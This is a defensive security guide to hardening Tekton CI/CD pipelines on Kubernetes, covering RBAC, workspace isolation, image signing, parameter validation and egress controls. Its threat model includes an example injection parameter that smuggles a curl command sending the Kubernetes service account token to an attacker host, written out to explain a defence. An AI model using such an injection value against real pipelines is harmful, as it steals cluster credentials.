Tekton Pipeline Security: TaskRun Isolation, Workspace Permissions, and RBAC
Problem
Tekton is a Kubernetes-native CI/CD framework: pipelines are defined as Kubernetes CRDs (Pipeline, Task, PipelineRun, TaskRun), and each Task runs as a pod with one container per step. This tight Kubernetes integration is both its strength and its attack surface.
Common security weaknesses:
- Overpermissive RBAC for pipeline service accounts. Tekton tasks need Kubernetes API access to create/manage resources, read secrets, and push container images. Many deployments bind the pipeline service account to
cluster-adminfor convenience, giving any pipeline job full cluster control. - Shared workspace volumes accessible across tasks. Tekton workspaces pass data between tasks using PersistentVolumeClaims or ConfigMaps. Without access controls on the workspace, any step can read files written by any other step — including secrets written to the workspace by credential-injection steps.
- Step images pulled from unverified sources. Tekton Task definitions specify container images for each step. A task definition that references
latestfrom an external registry, or from a registry without image signature verification, allows a supply chain compromise to execute arbitrary code in the pipeline. - Unrestricted network egress from TaskRun pods. Pipeline steps make outbound HTTP calls (to package registries, APIs, build dependencies). Without egress controls, a compromised step can exfiltrate secrets to arbitrary external hosts.
- Pipeline parameters injected as environment variables. Tekton passes pipeline parameters to tasks via environment variables. Unvalidated parameters that include shell metacharacters can enable injection attacks in steps that use them in shell scripts.
- No isolation between concurrent PipelineRuns. Multiple PipelineRuns for the same Pipeline share no implicit isolation. If workspaces are backed by ReadWriteMany PVCs, concurrent runs may read each other’s data.
Target systems: Tekton Pipelines 0.57+ (v1 API); Tekton Chains for supply chain security; Tekton Dashboard; Kubernetes 1.28+.
Threat Model
- Adversary 1 — RBAC escalation via pipeline service account: A developer creates a Task that calls
kubectl get secrets --all-namespaces. The task’s service account hascluster-admin. The developer (or an attacker with developer role) reads all cluster secrets via pipeline output. - Adversary 2 — Workspace data leakage between tasks: A credential-injection task writes an AWS key to a workspace file. A subsequent user-controlled task reads the workspace and sends the key to an attacker-controlled endpoint.
- Adversary 3 — Malicious step image via supply chain compromise: A Tekton Task references
registry.example.com/build-tools:latest. The registry is compromised; a newlatestimage contains a backdoor. The next PipelineRun executes the backdoor with the pipeline’s service account permissions. - Adversary 4 — Parameter injection: A pipeline parameter
$BUILD_ARGSis used in a shell script without sanitisation:docker build $BUILD_ARGS .. An attacker passes--build-arg FOO=bar; curl attacker.com -d $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)as the parameter. - Adversary 5 — Cross-run workspace contamination: Two concurrent PipelineRuns share a ReadWriteMany workspace. Run A writes a malicious binary to the workspace. Run B executes it in a subsequent step.
- Access level: Adversaries 1 and 4 need Task submission access (developer role). Adversary 2 requires a task running after the credential task. Adversary 3 needs registry access. Adversary 5 needs concurrent PipelineRun access.
- Objective: Extract Kubernetes secrets, cloud credentials, and source code; establish persistence; compromise the build artefacts.
- Blast radius: A pipeline service account with cluster-admin provides the same access as a cluster compromise. Workspace leakage exposes every secret passed through the pipeline.
Configuration
Step 1: Least-Privilege Service Accounts
Create one service account per pipeline with minimal required permissions:
# Each pipeline gets a dedicated service account.
apiVersion: v1
kind: ServiceAccount
metadata:
name: build-pipeline-sa
namespace: tekton-pipelines
---
# Role with minimum permissions for a build pipeline.
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: build-pipeline-role
namespace: tekton-pipelines
rules:
# Read the source code secret (deploy key for Git).
- apiGroups: [""]
resources: ["secrets"]
resourceNames: ["git-deploy-key"] # Only this specific secret.
verbs: ["get"]
# Push to the container registry (via imagePushSecret).
- apiGroups: [""]
resources: ["secrets"]
resourceNames: ["registry-push-creds"]
verbs: ["get"]
# NOT: list/get all secrets; NOT: create/delete any resource.
# NOT: access to other namespaces.
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: build-pipeline-rolebinding
namespace: tekton-pipelines
subjects:
- kind: ServiceAccount
name: build-pipeline-sa
namespace: tekton-pipelines
roleRef:
kind: Role
name: build-pipeline-role
apiGroup: rbac.authorization.k8s.io
# Reference service account in PipelineRun.
apiVersion: tekton.dev/v1
kind: PipelineRun
metadata:
name: my-app-build
namespace: tekton-pipelines
spec:
pipelineRef:
name: build-and-push
taskRunTemplate:
serviceAccountName: build-pipeline-sa # Use least-privilege SA.
Step 2: Step Security Context
# Task with security context hardening.
apiVersion: tekton.dev/v1
kind: Task
metadata:
name: build-task
namespace: tekton-pipelines
spec:
steps:
- name: build
image: gcr.io/distroless/build@sha256:abc123... # Pin by digest.
securityContext:
runAsNonRoot: true
runAsUser: 65534
readOnlyRootFilesystem: true
allowPrivilegeEscalation: false
capabilities:
drop: ["ALL"]
resources:
requests:
cpu: "500m"
memory: "512Mi"
limits:
cpu: "2"
memory: "2Gi"
# Mount secrets explicitly; do not rely on service account token mounts.
volumeMounts:
- name: build-workspace
mountPath: /workspace/source
- name: tmp
mountPath: /tmp # Writable tmp since rootFilesystem is readonly.
volumes:
- name: tmp
emptyDir: {}
Step 3: Workspace Isolation
# Use separate workspaces per security domain.
# Do NOT share a workspace between credential-injection steps and user code.
apiVersion: tekton.dev/v1
kind: Pipeline
metadata:
name: secure-build-pipeline
spec:
workspaces:
- name: source-code # Source code: read by user tasks.
- name: credentials # Credentials: written by trusted steps; NOT shared with user steps.
- name: build-output # Build artefacts: written by build; read by push step.
tasks:
# Step 1: Clone source code (trusted; writes to source-code workspace).
- name: clone
taskRef:
name: git-clone
workspaces:
- name: output
workspace: source-code
# Step 2: Build (user-controlled code; access to source-code only, NOT credentials).
- name: build
taskRef:
name: user-build-task
workspaces:
- name: source
workspace: source-code
- name: output
workspace: build-output
# Explicitly NOT giving access to: credentials workspace.
runAfter: ["clone"]
# Step 3: Push image (trusted; reads credentials; does NOT expose to user code).
- name: push
taskRef:
name: image-push
workspaces:
- name: image
workspace: build-output
- name: creds
workspace: credentials
runAfter: ["build"]
# Use per-PipelineRun workspaces backed by ephemeral volumes.
# Prevents cross-run contamination.
apiVersion: tekton.dev/v1
kind: PipelineRun
metadata:
name: my-app-build-$(date +%s)
spec:
pipelineRef:
name: secure-build-pipeline
workspaces:
- name: source-code
volumeClaimTemplate:
spec:
accessModes: ["ReadWriteOnce"] # NOT ReadWriteMany — no sharing.
resources:
requests:
storage: 1Gi
- name: build-output
volumeClaimTemplate:
spec:
accessModes: ["ReadWriteOnce"]
resources:
requests:
storage: 5Gi
# Credentials from existing PVC (or emptyDir for ephemeral creds).
- name: credentials
emptyDir: {}
Step 4: Image Verification with Tekton Chains
Tekton Chains automatically signs TaskRun results with Sigstore/Cosign:
# ConfigMap for Tekton Chains configuration.
apiVersion: v1
kind: ConfigMap
metadata:
name: chains-config
namespace: tekton-chains
data:
# Sign task results with Sigstore keyless signing.
artifacts.taskrun.format: "slsa/v1"
artifacts.taskrun.storage: "oci"
artifacts.taskrun.signing-backend: "sigstore"
# Sign OCI image attestations.
artifacts.oci.format: "simplesigning"
artifacts.oci.storage: "oci"
artifacts.oci.signing-backend: "sigstore"
# Task: verify image before use.
apiVersion: tekton.dev/v1
kind: Task
metadata:
name: verify-image
spec:
params:
- name: image
type: string
steps:
- name: verify
image: gcr.io/projectsigstore/cosign:v2.2.3@sha256:abc123
script: |
cosign verify \
--certificate-identity-regexp="https://github.com/my-org/.*" \
--certificate-oidc-issuer="https://token.actions.githubusercontent.com" \
$(params.image)
if [ $? -ne 0 ]; then
echo "Image signature verification FAILED"
exit 1
fi
Step 5: Parameter Validation
# Task: validate parameters before use in shell scripts.
apiVersion: tekton.dev/v1
kind: Task
metadata:
name: validated-build
spec:
params:
- name: git-revision
type: string
description: "Git commit SHA to build"
- name: image-tag
type: string
description: "Docker image tag"
steps:
- name: validate-params
image: alpine:3.19@sha256:abc123
script: |
#!/bin/sh
set -euo pipefail
GIT_REVISION="$(params.git-revision)"
IMAGE_TAG="$(params.image-tag)"
# Validate git revision: must be a 40-character hex string.
if ! echo "$GIT_REVISION" | grep -qE '^[a-f0-9]{40}$'; then
echo "INVALID: git-revision must be a 40-char hex SHA: $GIT_REVISION"
exit 1
fi
# Validate image tag: only alphanumeric, dash, dot, underscore.
if ! echo "$IMAGE_TAG" | grep -qE '^[a-zA-Z0-9._-]+$'; then
echo "INVALID: image-tag contains illegal characters: $IMAGE_TAG"
exit 1
fi
echo "Parameters validated."
- name: build
image: golang:1.22-alpine@sha256:abc123
script: |
#!/bin/sh
set -euo pipefail
# Safe to use validated params.
GIT_REVISION="$(params.git-revision)"
# Use quoted variables; not constructed into shell commands.
go build -ldflags "-X main.Version=${GIT_REVISION}" ./...
Step 6: Network Egress Control for TaskRun Pods
# NetworkPolicy restricting TaskRun pod egress.
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: taskrun-egress-policy
namespace: tekton-pipelines
spec:
podSelector:
matchLabels:
app.kubernetes.io/managed-by: tekton-pipelines
policyTypes:
- Egress
egress:
# Allow to internal container registry.
- to:
- ipBlock:
cidr: 10.0.50.0/24 # Registry subnet.
ports:
- port: 443
# Allow to internal package proxy (Nexus/Artifactory).
- to:
- ipBlock:
cidr: 10.0.51.0/24
ports:
- port: 443
- port: 80
# Allow DNS.
- to:
- namespaceSelector:
matchLabels:
kubernetes.io/metadata.name: kube-system
ports:
- port: 53
protocol: UDP
# Block all other egress — prevents secret exfiltration.
Step 7: Audit Logging for Pipeline Activity
# Tekton emits Kubernetes events and CloudEvents for pipeline activity.
# Forward to SIEM via event sink.
# CloudEvents sink (send to SIEM or security monitoring).
apiVersion: v1
kind: ConfigMap
metadata:
name: config-observability
namespace: tekton-pipelines
data:
_example: |
################################
# Tekton CloudEvents configuration
################################
send-cloudevents-for-runs: "true"
# Alert on PipelineRun failures and unusual task durations.
# Query Tekton pipeline history for security investigation.
kubectl get pipelineruns -n tekton-pipelines \
-o jsonpath='{range .items[*]}{.metadata.name} {.status.completionTime} {.status.conditions[0].reason}{"\n"}{end}' | \
sort -k2
# Check which service accounts were used in recent runs.
kubectl get taskruns -n tekton-pipelines \
-o jsonpath='{range .items[*]}{.metadata.name}: {.spec.serviceAccountName}{"\n"}{end}'
Step 8: Telemetry
tekton_pipelinerun_duration_seconds{pipeline, status} histogram
tekton_taskrun_duration_seconds{task, status} histogram
tekton_pipelinerun_count{pipeline, status} counter
tekton_taskrun_image_pull_errors_total{task, image} counter
tekton_workspace_access_violations_total{task, workspace} counter
tekton_param_validation_failures_total{task, param} counter
Alert on:
tekton_taskrun_duration_secondsP99 spike — a task is taking much longer than usual; possible exfiltration or heavy computation.- Image pull from unverified registry — Tekton Chains verification failed; do not deploy the artefact.
- PipelineRun for a production deployment outside approved hours — possible unauthorised deployment.
tekton_param_validation_failures_total— injection attempts in pipeline parameters.- Service account with elevated permissions used in a PipelineRun by unexpected pipeline — RBAC anomaly.
Expected Behaviour
| Signal | Default Tekton | Hardened Tekton |
|---|---|---|
| Task reads all cluster secrets | Service account has cluster-admin; reads all | Least-privilege SA; only specific named secrets |
| User task reads credential workspace | All workspaces shared; credentials readable | Credential workspace not mounted to user tasks |
| Malicious step image via supply chain | :latest pulled without verification | Digest pinned; Chains verifies signature before use |
| Shell injection via parameter | Unvalidated param used in shell command | Validation step rejects non-conforming params |
| Cross-run workspace contamination | ReadWriteMany PVC shared between runs | VolumeClaimTemplate creates fresh PVC per run |
Trade-offs
| Aspect | Benefit | Cost | Mitigation |
|---|---|---|---|
| Per-pipeline service accounts | Blast radius isolation | More service accounts to manage | Automate via Helm chart or Kustomize per team |
| VolumeClaimTemplate workspaces | Fresh PVC per run; no contamination | Higher storage cost; PVC provisioning latency | Use fast storage class; set PVC TTL via cleanup task |
| Digest-pinned images | Supply chain integrity | Must update digests on new releases | Renovate/Dependabot automates digest PR updates |
| Parameter validation step | Prevents injection | Adds a step to every pipeline | Shared Task definition; one validation task reused |
Failure Modes
| Failure | Symptom | Detection | Recovery |
|---|---|---|---|
| Service account missing permission | TaskRun fails with 403 | TaskRun status shows permission error | Add specific permission to SA role; review principle of least privilege |
| VolumeClaimTemplate PVC not provisioned | TaskRun stuck in pending | PVC pending status; storage provisioner error | Check StorageClass; ensure provisioner is running |
| Image signature verification failure | TaskRun fails at verify step | Chains logs; step failure | Investigate registry; rebuild with verified CI pipeline |
| Network policy blocks package registry | Build fails on package install | Connection refused in build logs | Add package registry IP to egress allowlist |
| Parameter validation too strict | Legitimate build fails validation | Validation step failure | Loosen validation regex; use allowlist over blocklist |